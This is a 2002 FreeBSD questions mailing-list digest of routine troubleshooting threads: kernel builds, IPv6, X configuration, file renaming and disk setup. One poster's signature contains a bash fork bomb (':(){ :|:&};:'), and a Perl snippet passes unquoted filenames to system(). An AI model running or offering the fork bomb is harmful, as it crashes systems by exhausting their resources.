[mailto:owner-freebsd-questions@FreeBSD.ORG] On Behalf Of Christopher J.
Umina
Sent: Wednesday, July 31, 2002 3:12 PM
To: FreeBSD Question Mailing List
Subject: Hack The Box

Hello all,

	I'm interested in learning a little about how to hack into
servers
and stuff like that.  It may sound a little childish, but I just think
it's kindof cool.  I'm willing to learn any type of programming it may
take, but I have no clue where to start.  Anybody have any suggestions?

Thanks,
Christopher J. Umina


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From owner-freebsd-questions  Wed Jul 31 15:18:12 2002
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To: "Christopher J. Umina" <uminac@216-164-225-145.c3-0.wth-ubr2.sbo-wth.ma.cable.rcn.com>,
	FreeBSD Question Mailing List <questions@freebsd.org>
From: Karl Agee <kdagee@attglobal.net>
Subject: Re: Hack The Box
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At 05:12 PM 7/31/2002 -0400, Christopher J. Umina wrote:
>Hello all,
>
>         I'm interested in learning a little about how to hack into servers
>and stuff like that.  It may sound a little childish, but I just think
>it's kindof cool.  I'm willing to learn any type of programming it may
>take, but I have no clue where to start.  Anybody have any suggestions?
>
>Thanks,
>Christopher J. Umina

Yeah, Chris--what you want to do is a crime.  start your search here:

http://www.bop.gov/


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From owner-freebsd-questions  Wed Jul 31 15:18:16 2002
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Date: Wed, 31 Jul 2002 15:18:44 -0700
To: Anshuman Kanwar <akanwar@engineering.ucsb.edu>,
	<freebsd-questions@freebsd.org>
From: Karl Agee <kdagee@attglobal.net>
Subject: Re: kernel-4.6-recompile, config error
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At 02:48 PM 7/31/2002 -0700, Anshuman Kanwar wrote:

>Hi all,
>
>   I am trying to compile a custom kernel (4.6 stable). When i run
>/usr/sbin/config MYKERNEL, I get a message
>
>  "your versions of config(8) is out of sync with the source".


Hey!  One I can answer!  Cool!!!

You need to do this:

#cd /usr/src/usr.sbin/config
#make depend all install clean

that should work...did it for me.

 From Greg Lehey's book.

--karl




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From owner-freebsd-questions  Wed Jul 31 15:23:56 2002
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Date: Wed, 31 Jul 2002 15:23:53 -0700 (PDT)
From: Ed Yu <edlyu@yahoo.com>
Subject: USB, kvm switch, kbdcontrol, and boot-loader
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Hi, I have a 4 port IOGEAR KVM switch that uses USB
keyboard and USB mouse. I switch frequently with a
Linux box (kernel module work), a Windows box (Outlook
scheduling), and the FreeBSD box (development box).
All on different machines.
Since the FreeBSD boot loader doesn't have USB
support, I have to attach a PS/2 keyboard to the
FreeBSD box as well. 
However, whenever I switch back
to the FreeBSD box, the console switched to the PS/2
keyboard. I have to run 'kbdcontrol 
-k /dev/kbd1  < /dev/ttyv0' to switch back to the USB
keyboard. I have two questions:
1. How can I prevent the reverting back to PS/2
keyboard? 
2. Is there any bootloader that can use USB keyboard
for selecting the OS to boot? I know GRUB can't. I
don't think LILO can. I don't know of any other boot
loader. 

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com

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From owner-freebsd-questions  Wed Jul 31 15:24:35 2002
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On Wed, Jul 31, 2002 at 11:57:33AM -0700, Parker Brown wrote:
> no apparent difference in appearance, but I noticed that startx pumps
> out messages like     startx:  could not init font path element
> /usr/X11R6/lib/X11/fonts/URW.   The same messages appear regarding
> ../fonts/Type1  and ../fonts/Speedo.

You need to add the fonts to the modules section in XF86Config.  This is
explained in man 5 XF86Config (note lower case font names).

I am not sure if this applies to urw.

Section "Module"
        ....
        Load  "speedo"
        Load  "type1"
        Load  "freetype"
EndSection

Jeff


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From owner-freebsd-questions  Wed Jul 31 15:40:20 2002
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Heelp Please. I'm trying to get ipv6 up and running, at least on the
localhost, but I can't even get that working. can anyone tell me what's 
wrong? Please Reply directly as I'm not subscribed to the list. Thanks
in advance.

bash-2.04$ ping6 ::1
PING6(56=40+8+8 bytes) ::1 --> ::1
ping6: sendmsg: No route to host
ping6: wrote ::1 16 chars, ret=-1

bash-2.04$ netstat -rn -finet6
Routing tables

Internet6:
Destination                       Gateway                       Flags      Netif Expire
::/96                             ::1                           UGRSc       lo0
::1                               ::1                           UH          lo0
::ffff:0.0.0.0/96                 ::1                           UGRSc       lo0
fe80::/10                         ::1                           UGRSc       lo0
fe80::%rl0/64                     link#1                        UC          rl0
fe80::24f:4eff:fe03:389c%rl0      00:4f:4e:03:38:9c             UHL         lo0
fe80::%lo0/64                     fe80::1%lo0                   Uc          lo0
fe80::1%lo0                       link#7                        UHL         lo0
ff01::/32                         ::1                           U           lo0
ff02::/16                         ::1                           UGRS        lo0
ff02::%rl0/32                     link#1                        UC          rl0
ff02::%lo0/32                     ::1                           UC          lo0

bash-2.04$ sysctl net.inet6
net.inet6.ip6.forwarding: 0
net.inet6.ip6.redirect: 1
net.inet6.ip6.hlim: 64
net.inet6.ip6.maxfragpackets: 1232
net.inet6.ip6.accept_rtadv: 1
net.inet6.ip6.keepfaith: 0
net.inet6.ip6.log_interval: 5
net.inet6.ip6.hdrnestlimit: 50
net.inet6.ip6.dad_count: 1
net.inet6.ip6.auto_flowlabel: 1
net.inet6.ip6.defmcasthlim: 1
net.inet6.ip6.gifhlim: 30
net.inet6.ip6.kame_version: 20010528/FreeBSD
net.inet6.ip6.use_deprecated: 1
net.inet6.ip6.rr_prune: 5
net.inet6.ip6.v6only: 0
net.inet6.ip6.rtexpire: 3600
net.inet6.ip6.rtminexpire: 10
net.inet6.ip6.rtmaxcache: 128
net.inet6.ip6.use_tempaddr: 0
net.inet6.ip6.temppltime: 86400
net.inet6.ip6.tempvltime: 604800
net.inet6.ip6.auto_linklocal: 1
net.inet6.ipsec6.def_policy: 1
net.inet6.ipsec6.esp_trans_deflev: 1
net.inet6.ipsec6.esp_net_deflev: 1
net.inet6.ipsec6.ah_trans_deflev: 1
net.inet6.ipsec6.ah_net_deflev: 1
net.inet6.ipsec6.ecn: 0
net.inet6.ipsec6.debug: 1
net.inet6.ipsec6.esp_randpad: -1
net.inet6.icmp6.rediraccept: 1
net.inet6.icmp6.redirtimeout: 600
net.inet6.icmp6.nd6_prune: 1
net.inet6.icmp6.nd6_delay: 5
net.inet6.icmp6.nd6_umaxtries: 3
net.inet6.icmp6.nd6_mmaxtries: 3
net.inet6.icmp6.nd6_useloopback: 1
net.inet6.icmp6.nodeinfo: 3
net.inet6.icmp6.errppslimit: 100
net.inet6.icmp6.nd6_maxnudhint: 0
net.inet6.icmp6.nd6_debug: 0

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From owner-freebsd-questions  Wed Jul 31 15:45:44 2002
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Date: Wed, 31 Jul 2002 18:46:40 -0400 (EDT)
From: "Christopher J. Umina" <uminac@216-164-225-145.c3-0.wth-ubr2.sbo-wth.ma.cable.rcn.com>
To: Karl Agee <kdagee@attglobal.net>
Cc: FreeBSD Question Mailing List <questions@freebsd.org>
Subject: Re: Hack The Box
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I obviously don't want to hack other people's servers, just learn..
Don't you care how to do it?  Or are you just affraid that it's a crime?

On Wed, 31 Jul 2002, Karl Agee wrote:

> At 05:12 PM 7/31/2002 -0400, Christopher J. Umina wrote:
> >Hello all,
> >
> >         I'm interested in learning a little about how to hack into servers
> >and stuff like that.  It may sound a little childish, but I just think
> >it's kindof cool.  I'm willing to learn any type of programming it may
> >take, but I have no clue where to start.  Anybody have any suggestions?
> >
> >Thanks,
> >Christopher J. Umina
>
> Yeah, Chris--what you want to do is a crime.  start your search here:
>
> http://www.bop.gov/
>
>


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From owner-freebsd-questions  Wed Jul 31 15:57:50 2002
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Here's a small, entry-level perl script:

#!/usr/bin/perl

@listing = `ls`; # in dir with the files

foreach $i ( @listing )
{
	chomp($i);
	system("mv $i $i.txt");
}

You'll need to modify it so it doesn't rename itself, if run from the same 
directory. All those 'system' calls may be expensive, though, this may be 
a call for sed/awk ;-)

On Wed, 31 Jul 2002, Maciej Szewczyk wrote:

> Date: Wed, 31 Jul 2002 23:02:56 +0200
> From: Maciej Szewczyk <rodion@pirx.9lo.lublin.pl>
> To: questions@FreeBSD.ORG
> Subject: files to files with .txt
> 
> Hi,
> I have about 1000 files.
> ls -1
> 1
> 2
> 3
> 4
> 5
> 6
> 7
> ...
> ...
> 998
> 999
> 1000
> And now I must have 1000 files with .txt ->
> ls -1
> 1.txt
> 2.txt
> 3.txt
> ...
> ...
> 998.txt
> 999.txt
> 1000.txt
> 
> How can I do that.
> Tahnks for help.
> 
> Maciej Szewczyk
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 

/* 
 * John Bleichert
 * syborg@stny.rr.com
 * http://vonbek.dhs.org/latest.jpg
 */


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From owner-freebsd-questions  Wed Jul 31 16:16:28 2002
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To: bastill@sa.apana.org.au, freebsd-questions@FreeBSD.ORG,
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On 31 Jul 2002, at 18:53, Andrew Gosling wrote:

> F8 on startup, select safe mode, change settings and restart.
> 
> I think XP has 800x600 as it's lowest res, so if your monitor can't
> handle that, your screwed.

The easiest way is just to put the larger monitor back on long enough 
to get the settings the way you want them.  If that monitor isn't 
available, surely there's one SOMEwhere handy that you can use.  Yes, 
it's a kluge, but this is Windows, remember?  Next time, remember to 
set the display setting to the lowest settings before attempting to 
move to a lesser monitor.


--
Jerry Dunham
M3 Design, Inc.
jdunham@m3designinc.com
(512) 218-8858

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From owner-freebsd-questions  Wed Jul 31 16:30:47 2002
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Netatalk...  It's appletalk (or afpovrtcp).

Build netatalk from ports and configure it to share the user home
directory or a FS or a directory or whatever you want.

On the Mac open the Chooser.  Click on appleshare, enter the ip address of
the Unix box running netatalk, login and Voila! you have a FreeBSD share
mounted in Finder.

Regarding printing...  netatalk installs a printer daemon (papd?) that
allows the Mac to print to the Unix printer just like it was plugged into
a serial/usb port.

Netatalk does take a bit of configuring (the latest versions are a lot
better than the older ones), but it works so well that twiddling with
the config files can actually be a pleasure.

Tim Kellers
CPE/NJIT


On Wed, 31 Jul 2002, Peter Leftwich wrote:

> On Tue, 30 Jul 2002, Derrick MacPherson wrote:
> > You can nfs mount between them I suppose..
>
> (Comes back from reading `man mount_nfs`...) I guess I meant a one-way
> question.  That is, how can a Mac desktop mount a FreeBSD drive?
>
> By the way, do any of the mount commands rather "safely, pre-flight" before
> mounting?  Do they effectively look before they leap?
>
> --
> Peter Leftwich
> President & Founder
> Video2Video Services
> Box 13692, La Jolla, CA, 92039 USA
> +1-413-403-9555
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>


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From owner-freebsd-questions  Wed Jul 31 16:43: 0 2002
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From: "Scott Renna" <srenna@verizon.net>
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Subject: 4.6 STABLE make depend problems
Date: Wed, 31 Jul 2002 19:44:25 -0400
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I too am having this same problem.  I followed the suggestions of switching
to a different cvsup server and then make buildworld again and then tried to
compile my custom kernel...but to no avail.

Has anyone found a definite solution to this problem?

Scott Renna



I got latest stable but I Can't be succesfull in compiling the kernel,
any hints on how I Can find bsd.init.mk ?

cd ../../modules ; env
MAKEOBJDIRPREFIX=/usr/src/sys/compile/DURLINDANA/modules
make obj ;  env MAKEOBJDIRPREFIX=/usr/src/sys/compile/DURLINDANA/modules
make depend
===> accf_data
"/usr/src/sys/modules/accf_data/../../conf/kmod.mk", line 63: Could not
find bsd.init.mk
"/usr/src/sys/modules/accf_data/../../conf/kmod.mk", line 190: Could not
find bsd.links.mk
make: fatal errors encountered -- cannot continue
*** Error code 1

Stop in /usr/src/sys/modules.
*** Error code 1

Stop in /usr/src/sys/compile/DURLINDANA.


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From owner-freebsd-questions  Wed Jul 31 17:16:23 2002
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Subject: Re: D-Link DFE-538TX 10/100 NIC
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You should always add a subject.

It's a d-link card. It does work. If you read the installation instructions
that come with the ethernet box you can download the freeBSD patch for it
from there company. It should come up with a dc<number> symbol. It works but
I can't see the MAC address but I haven't downloaded the patch yet. I am
using 4.5. If you need to register your card with your ISP I just used a win
OS and ipconfig /all to see the MAC address.

----- Original Message -----
From: "Olga Zenkova" <siro200@yahoo.com>
To: <freebsd-questions@freebsd.org>
Sent: Wednesday, July 31, 2002 10:22 AM


> Hi!
> Can't get working net card DFE-538TX on FreeBSD 4.3.
> On boot see: pci0 <unknown card>. The card is good.
>
> Please help.
> Olga
>
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Health - Feel better, live better
> http://health.yahoo.com
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>


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From owner-freebsd-questions  Wed Jul 31 17:18: 0 2002
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From: Brian Astill <bastill@sa.apana.org.au>
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Subject: Re: [OT] WinNT monitor change problem
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On Thu, 1 Aug 2002 08:43, Jerry Dunham wrote:
> On 31 Jul 2002, at 18:53, Andrew Gosling wrote:
> > F8 on startup, select safe mode, change settings and restart.
> >
> > I think XP has 800x600 as it's lowest res, so if your monitor can't
> > handle that, your screwed.
>
> The easiest way is just to put the larger monitor back on long enough
> to get the settings the way you want them.  If that monitor isn't
> available, surely there's one SOMEwhere handy that you can use.  Yes,
> it's a kluge, but this is Windows, remember?  Next time, remember to
> set the display setting to the lowest settings before attempting to
> move to a lesser monitor.

Unfortunately - you horrible nasty person :-) - you are probably right!
I CAN do this, but what a messy solution.
BTW it is my fault for giving the wrong impression, but I am actually using 
WinNT4-SP6a, not XP.
Whatever ... sadly, I think your advice is the only one that will work <sob>.

-- 
Regards,
Brian

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From owner-freebsd-questions  Wed Jul 31 17:35:15 2002
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---Reply to mail from pirat about prevent user from running some program
> hi sirs,
> 
> am using freebsd 4.6-stable.
> i have a simple question that is if i just want some users to be able to run
> only xfig what should i do.  and on the other hand if i do not want them to run
> xfig, is there any command to accomplish this ?

You can change permissions and group ownership on the binary to permit
only the owner (presumably root) and the program's group to run it. For
instance:

# chgrp xfiguser /usr/X11R6/bin/xfig
# chmod 0750 /usr/X11R6/bin/xfig

You'd then add any users who should be able to run xfig to the xfiguser
group (which must exist before you type the first command). (Note I'm
not sure where xfig actually exists, since my FreeBSD system is powered
down at the moment.)

This procedure comes with a **HUGE** caveat, though: For most programs,
users can easily overcome the limitation by installing "private" copies
of the program executable in their own home directories. This may not
be practical for some very big programs if you use account quotas, and
you may be able to restrict executable rights on a home directory
partition on some systems, but overall it's a big hole in this process.

-- 
Rod Smith
rodsmith@rodsbooks.com
http://www.rodsbooks.com



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From owner-freebsd-questions  Wed Jul 31 17:40:41 2002
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To: "Jerry Dunham" <jdunham@m3designinc.com>,
	freebsd-questions@FreeBSD.ORG, Andrew Gosling <gos@atdotcom.com.au>
Subject: Re: [OT] WinNT monitor change problem
Date: Thu, 1 Aug 2002 10:16:48 +0930
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On Thu, 1 Aug 2002 08:43, Jerry Dunham wrote:
> On 31 Jul 2002, at 18:53, Andrew Gosling wrote:
> > F8 on startup, select safe mode, change settings and restart.
> >
> > I think XP has 800x600 as it's lowest res, so if your monitor can't
> > handle that, your screwed.

Sorry I gave the impression that I was using XP.
I am actually using WinNT4 (SP6a).  VGA mode will NOT allow me to change the 
refresh rate  - "hardware default refresh" is all I can have.  Today, I let 
WinBlows use "standard VGA adaptor" and this has given me a readable screen - 
640x480 16 colours is the best I am allowed regardless of the driver I 
install from the CD (sigh).
I guess it is a registry problem?  Maybe?  Or just Win rubbish behaviour?
In this situation I am not confident that even putting the 17" monitor back 
would help.   Oh dear!

-- 
Regards,
Brian

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From owner-freebsd-questions  Wed Jul 31 17:42: 1 2002
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From owner-freebsd-questions  Wed Jul 31 17:49:31 2002
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Soumebody else provided a nice /bin/sh one-liner:

 for I in * ; do mv $I $I.txt ; done


On Wed, 31 Jul 2002, John Bleichert wrote:
> 
> Here's a small, entry-level perl script:
> 
> #!/usr/bin/perl
> 
> @listing = `ls`; # in dir with the files
> 
> foreach $i ( @listing )
> {
> 	chomp($i);
> 	system("mv $i $i.txt");
> }
> 
> You'll need to modify it so it doesn't rename itself, if run from the same 
> directory. All those 'system' calls may be expensive, though, this may be 
> a call for sed/awk ;-)
> 
> On Wed, 31 Jul 2002, Maciej Szewczyk wrote:
> 
> > Date: Wed, 31 Jul 2002 23:02:56 +0200
> > From: Maciej Szewczyk <rodion@pirx.9lo.lublin.pl>
> > To: questions@FreeBSD.ORG
> > Subject: files to files with .txt
> > 
> > Hi,
> > I have about 1000 files.
> > ls -1
> > 1
> > 2
> > 3
> > 4
> > 5
> > 6
> > 7
> > ...
> > ...
> > 998
> > 999
> > 1000
> > And now I must have 1000 files with .txt ->
> > ls -1
> > 1.txt
> > 2.txt
> > 3.txt
> > ...
> > ...
> > 998.txt
> > 999.txt
> > 1000.txt
> > 
> > How can I do that.
> > Tahnks for help.
> > 
> > Maciej Szewczyk
> > 
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> > 
> 
> /* 
>  * John Bleichert
>  * syborg@stny.rr.com
>  * http://vonbek.dhs.org/latest.jpg
>  */
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 

/* 
 * John Bleichert
 * syborg@stny.rr.com
 * http://vonbek.dhs.org/latest.jpg
 */


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From owner-freebsd-questions  Wed Jul 31 18: 1:26 2002
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From: Greg 'groggy' Lehey <grog@FreeBSD.org>
To: Drew Raines <drew-dated-1028408273.35d3a8@rain3s.net>
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Subject: Re: Striped Vinum on two drives
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On Wednesday, 31 July 2002 at 16:18:40 -0500, Drew Raines wrote:
> I have a machine with two hard drives:
>
>    ad0  Maxtor     13 GB
>    da0  Fujitsu    36 GB
>
> I'd like to create root, swap, and usr partitions on the
> beginning of ad0, and have the rest of the drive, as well as all
> of da0 be one giant 45 GB filesystem.  Something like:
>
>    ad0  /
>         swap
>         /usr
>         /bigfs
>    da0  /bigfs (cont.)
>
> I read Bob Van Valzah's bootstrapping guide and successfully
> created a Vinum-powered system with / on ad0 and /rootback on
> da0, etc., etc..  I intended to just wet my feet before
> customizing my configuration.
>
> Unfortunately, I'm still unsure of how to get to where I'm going
> after doing this.  In fact, I'm wondering if what I want is too
> simple for Vinum, or even ccd.

No, I'd consider this a fairly typical application.

> So is this worth doing?

Possibly.

> Won't I be able to resize and move filesystems around afterward?

No.  You can't resize striped plexes.

> Also, *can* I do it?  I just want the two spindles to look like one
> disk, striping the data accordingly.

Yes, you can do that.  But given the discrepancy in size between your
disks, you might find it more useful to concatenate them.

Greg
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From owner-freebsd-questions  Wed Jul 31 18: 7:10 2002
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From: Edwin Groothuis <edwin@mavetju.org>
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Subject: Re: Do you know IRC rooms to get FreeBSD's information or gossip?
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On Thu, Aug 01, 2002 at 09:51:03AM +0900, BaDPiG wrote:
> I am Boring.....--;
> 
> Do you know IRC rooms.
> 
> To get FreeBSD's info or Gossip?

There are more than this one, but #freebsd on irc.openprojects.net
is one of them. Of course, try the server closest to you for the
best performance (irc.CC.openprojects.net)

Edwin

-- 
Edwin Groothuis      |            Personal website: http://www.MavEtJu.org
edwin@mavetju.org    |    Weblog: http://www.mavetju.org/weblog/weblog.php 
bash$ :(){ :|:&};:   | Interested in MUDs? http://www.FatalDimensions.org/

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From owner-freebsd-questions  Wed Jul 31 18:13:56 2002
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On 1 Aug 2002, at 10:16, Brian Astill wrote:

> On Thu, 1 Aug 2002 08:43, Jerry Dunham wrote:
> > On 31 Jul 2002, at 18:53, Andrew Gosling wrote:
> >> F8 on startup, select safe mode, change settings and restart.
> >>
> >> I think XP has 800x600 as it's lowest res, so if your monitor can't
> >> handle that, your screwed.
> 
> Sorry I gave the impression that I was using XP.
> I am actually using WinNT4 (SP6a).  VGA mode will NOT allow me to change the 
> refresh rate  - "hardware default refresh" is all I can have.  Today, I let 
> WinBlows use "standard VGA adaptor" and this has given me a readable screen - 
> 640x480 16 colours is the best I am allowed regardless of the driver I 
> install from the CD (sigh).
> I guess it is a registry problem?  Maybe?  Or just Win rubbish behaviour?
> In this situation I am not confident that even putting the 17" monitor back 
> would help.   Oh dear!

I believe that going back to the original monitor will help, assuming 
that you also have the original video card and haven't uninstalled the 
video driver.


--
Jerry Dunham
M3 Design, Inc.
jdunham@m3designinc.com
(512) 218-8858

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From owner-freebsd-questions  Wed Jul 31 19: 2:16 2002
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On Wed, 31 Jul 2002, Kyle Steven Butt wrote:

> Heelp Please. I'm trying to get ipv6 up and running, at least on the
> localhost, but I can't even get that working. can anyone tell me what's
> wrong? Please Reply directly as I'm not subscribed to the list. Thanks
> in advance.
>
> bash-2.04$ ping6 ::1
> PING6(56=40+8+8 bytes) ::1 --> ::1
> ping6: sendmsg: No route to host
> ping6: wrote ::1 16 chars, ret=-1
>

Try running "ping6 ::1%lo0".  You have to specify which interface to use
because each interface has a "local-link" address (fe80::/64).  I learned
this when playing with IPv6 on my LAN.  I would have to type (for example)
"ping6 fe80::4bff:fed3:badc%xl0" to ping one of the other machines.  This
obviously gets old fast, to which I setup DNS.  You could also put an
entry in /etc/hosts if that will suffice.


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From owner-freebsd-questions  Wed Jul 31 19:43:45 2002
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From: "Brian T. Schellenberger" <bts@babbleon.org>
To: Peter Leftwich <Hostmaster@video2video.com>,
	Rob Ellis <rob@web.ca>
Subject: Re: 1GB ram, how much SWAP?
Date: Wed, 31 Jul 2002 22:43:29 -0400
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On Wednesday 31 July 2002 02:19 pm, Peter Leftwich wrote:
| On Wed, 31 Jul 2002, Rob Ellis wrote:
| > i'm setting up a new machine, currently with 256M swap partitions
| > on 2 disks, so 512M of swap, which seems like enough...
| > it is going to be a server, but i can't imagine it's going
| > to need 1.5GB of memory...?
|
| Question for the list... how do you even tell FreeBSD to use X amount of
| RAM for swap?  I realize in sysinstall's fdisk screen and label editor how
| to designate part of a HDD as SWAP, but how do you accomplish with RAM?

The question doesn't make any sense.

SWAP is the space on the harddisk that the O/S uses if it can't fit all it 
needs in RAM.  You don't use any RAM for swap.

And all RAM can be swapped out unless it's been locked into memory by the 
kernel.

-- 
Brian, the man from Babble-On . . . .   bts@babbleon.org (personal)
                                        http://www.babbleon.org

http://www.eff.org                      http://www.programming-freedom.org 

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From owner-freebsd-questions  Wed Jul 31 19:46:39 2002
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Date: Wed, 31 Jul 2002 22:46:12 -0400
To: questions@freebsd.org
Subject: XFree86-4 display shearing
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I upgraded one of the workstations here from XFree86 3.3.6 to XFree86
4.2.0 (I removed all X related files before the update).  I upgraded
via locally build packages.  After updating the XF86Config file, the
display is fine except for a small area near the top that is sheared
to the left.

I tried diddling the "Options" settings for the ATI Mach64 GB card,
various mode lines with hsync and vsync off and on, etc.

Everything I do makes no significant difference.

This machine is a Dell Dimension which was running great with XFree86
3.  I moved up to XFree86 4 to run KDE3.

The box on which the package was build has the same video chip, but is
not a Dell.  The only difference in the XF86Config file is the monitor
section.  The file is based on the output from X -configure.

Anyone have any ideas on what else to try?

Tis is the XF86Config on the machine which has the display problem.
The resolution chosen doesn't matter, either.

--cut here--
Section "Module"
    Load        "dbe"  	# Double buffer extension
# This loads the miscellaneous extensions module, and disables
# initialisation of the XFree86-DGA extension within that module.
    SubSection  "extmod"
      Option    "omit xfree86-dga"   # don't initialise the DGA extension
    EndSubSection
    Load        "type1"
    Load        "freetype"
    Load        "speedo"
EndSection

Section "Files"
    RgbPath	"/usr/X11R6/lib/X11/rgb"
#   FontPath   "/usr/X11R6/lib/X11/fonts/local"
   FontPath   "/usr/X11R6/lib/X11/fonts/misc:unscaled"
   FontPath   "/usr/X11R6/lib/X11/fonts/100dpi:unscaled"
   FontPath   "/usr/X11R6/lib/X11/fonts/75dpi:unscaled"
   FontPath   "/usr/X11R6/lib/X11/fonts/Type1"
   FontPath   "/usr/X11R6/lib/X11/fonts/Speedo"
   FontPath   "/usr/X11R6/lib/X11/fonts/webfonts"
   FontPath   "/usr/X11R6/lib/X11/fonts/misc"
   FontPath   "/usr/X11R6/lib/X11/fonts/100dpi"
   FontPath   "/usr/X11R6/lib/X11/fonts/75dpi"
# The module search path.  The default path is shown here.
#    ModulePath "/usr/X11R6/lib/modules"
EndSection

Section "ServerFlags"
EndSection

Section "InputDevice"
    Identifier	"Keyboard1"
    Driver	"Keyboard"
    Option "AutoRepeat" "500 30"
    Option "LeftAlt"     "Meta"
    Option "RightAlt"    "Meta"
# If you'd like to switch the positions of your capslock and
# control keys, use:
#    Option "XkbOptions"  "ctrl:swapcaps"
    Option "XkbRules"	"xfree86"
    Option "XkbLayout"	"us"
EndSection

Section "InputDevice"
    Identifier	"Mouse1"
    Driver	"mouse"
    Option "Protocol"    "MouseSystems"
    Option "Device"      "/dev/sysmouse"
EndSection


# **********************************************************************
# Monitor section
# **********************************************************************

# Any number of monitor sections may be present

Section "Monitor"
   Identifier      "Primary Monitor"
   VendorName      "ViewSonic"
   ModelName       "A90f"
   HorizSync       30-86
   VertRefresh     50-150
   Option	    "DPMS"
EndSection

# Standard VGA Device:

Section "Device"
    Identifier	"Standard VGA"
    VendorName	"Unknown"
    BoardName	"Unknown"
    Driver     "vga"
EndSection

Section "Device"
        ### Available Driver options are:-
        ### Values: <i>: integer, <f>: float, <bool>: "True"/"False",
        ### <string>: "String", <freq>: "<f> Hz/kHz/MHz"
        ### [arg]: arg optional
        #Option     "accel"              	# [<bool>]
        #Option     "crt_screen"         	# [<bool>]
        #Option     "composite_sync"     	# [<bool>]
        #Option     "hw_cursor"          	# [<bool>]
        #Option     "linear"             	# [<bool>]
        #Option     "mmio_cache"         	# [<bool>]
        #Option     "probe_clocks"       	# [<bool>]
        #Option     "reference_clock"    	# <freq>
        #Option     "shadow_fb"          	# [<bool>]
        #Option     "sw_cursor"          	# [<bool>]
	Identifier  "My Video Card"
	Driver      "ati"
	VendorName  "ATI"
	BoardName   "Mach64 GB"
	ChipSet     "ati"
	ChipId      0x4742
	ChipRev     0x5c
	BusID       "PCI:1:0:0"
EndSection


# **********************************************************************
# Screen sections
# **********************************************************************

# Any number of screen sections may be present.  Each describes
# the configuration of a single screen.  A single specific screen section
# may be specified from the X server command line with the "-screen"
# option.
Section "Screen"
    Identifier  "Screen 1"
    Device      "My Video Card"
    Monitor     "Primary Monitor"
    DefaultDepth 24

    Subsection "Display"
        Depth       24
        Modes       "1280x1024"
    EndSubsection
EndSection

Section "ServerLayout"
    Identifier  "Simple Layout"
    Screen "Screen 1"
    InputDevice "Mouse1" "CorePointer"
    InputDevice "Keyboard1" "CoreKeyboard"
EndSection
--cut here--

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From owner-freebsd-questions  Wed Jul 31 20:24:41 2002
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Cc: Kyle Butt <kylebutt@myrealbox.com>
Subject: Re: ping6 ::1, No Route to host
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On Wed, 31 Jul 2002, Kyle Butt wrote:

> Here those are:
>
>
> bash-2.04$ ping6  ::1%lo0
> ping6: No address associated with hostname
> bash-2.04$ ping6 -Ilo0 ::1
> PING6(56=40+8+8 bytes) ::1 --> ::1
> ping6: sendmsg: No route to host
> ping6: wrote ::1 16 chars, ret=-1
>

Strange, here's some stuff from my machine:

$ ping6 ::1
PING6(56=40+8+8 bytes) ::1 --> ::1
16 bytes from ::1, icmp_seq=0 hlim=64 time=0.229 ms

$ ping6 ::1%lo0
ping6: No address associated with hostname

$ ping6 fe80::250:daff:fe6d:3530
ping6: UDP connect: No route to host

$ ping6 fe80::250:daff:fe6d:3530%xl0
PING6(56=40+8+8 bytes) fe80::210:4bff:fed3:badc%xl0 --> fe80::250:daff:fe6d:3530%xl0
16 bytes from fe80::250:daff:fe6d:3530%xl0, icmp_seq=0 hlim=64 time=0.567 ms

$ ping6 -I xl0 fe80::250:daff:fe6d:3530
PING6(56=40+8+8 bytes) fe80::210:4bff:fed3:badc%xl0 --> fe80::250:daff:fe6d:3530
16 bytes from fe80::250:daff:fe6d:3530%xl0, icmp_seq=0 hlim=64 time=0.588 ms


Basically, "::1" should have worked.  I guess you only need to specify the
interface when using local-link addresses.  That may or may not apply to
"global" addresses, but I'm not sure because I havn't had a chance to
setup 6bone yet.

Do you have IPFW enabled in your kernel?  (options IPV6FIREWALL)
However, I don't think so, because you would get a different error.


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From owner-freebsd-questions  Wed Jul 31 20:25: 9 2002
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Subject: "backup" slice and partition information?
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how would I create fdisk's configuration file from
fdisk's output? I mean, "fdisk -f" wants a different
format than that which "fdisk" or "fdisk -s" output.

would "disklabel -r ad0s1c > lblfile"

produce a file suitable for recreating the BSD partitions
on /dev/ad0s1 ? "disklabel -RB ads1 lblfile"?

Thanks


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From owner-freebsd-questions  Wed Jul 31 20:25:21 2002
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Well, I've certainly done it now.
Thanks to Windows 98's friendly setup that will partition your entire hard drive for you, I now am lacking my FreeBSD partition (replaced with a single Primary DOS partition).

Is there any way to recover my lost partitions? If it's possible by somehow getting the superblock count.. or something.. I'd sure appreciate the help.

Thanks,
Wes


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From owner-freebsd-questions  Wed Jul 31 20:33:59 2002
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From: Neil Darlow <neil@darlow.co.uk>
To: freebsd-questions@freebsd.org
Subject: Beware - openssh-3.4p1/openssl-0.9.6e in base bites
Date: Wed, 31 Jul 2002 19:11:38 +0100
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Hi,

After using cvsup to update my source tree to 4.6.1-RELEASE-p3 I did a 
buildworld to undo the effects of having installed openssh-portable-3.4p1 and
openssl-0.9.6e from ports with their overwrite-base functionality.

The first problem I found was that openssh-3.4p1 in base doesn't appear to 
link against openssl-0.9.6e in base. Numerous unresolved references result for
libssh.so.

The solution I used for this was to reinstall openssh-portable-3.4p1 again 
until the base version is fixed. This may not be a bad thing because the ports
version of openssh may be more "fixed" than base.

The second problem I found was that openssl-0.9.6e from ports installs 
libcrypto/libssl with version number 3 while the updated base version installs
with version number 2. This broke a lot of my installed ports.

The solution I adopted for this was to symlink libcrypto/libssl.so.2 to 
libcrypto/libssl.so.3. This keeps my ports happy and any rebuilds of them will
reference the .so.2 version through the existing .so symlinks.

I hope this information helps anyone who dealt with the openSSH issue as I did
and now wishes to revert to a standard installation.

Regards,
Neil Darlow M.Sc.
-- 
Say No to Software Patents -- Say No to TCPA -- Say No to Palladium
ICQ: 135505456  E-Mail, Jabber, MSNM: neil@darlow.co.uk
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From owner-freebsd-questions  Wed Jul 31 21:14:57 2002
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From: Greg 'groggy' Lehey <grog@FreeBSD.org>
To: Kirk Strauser <kirk@strauser.com>
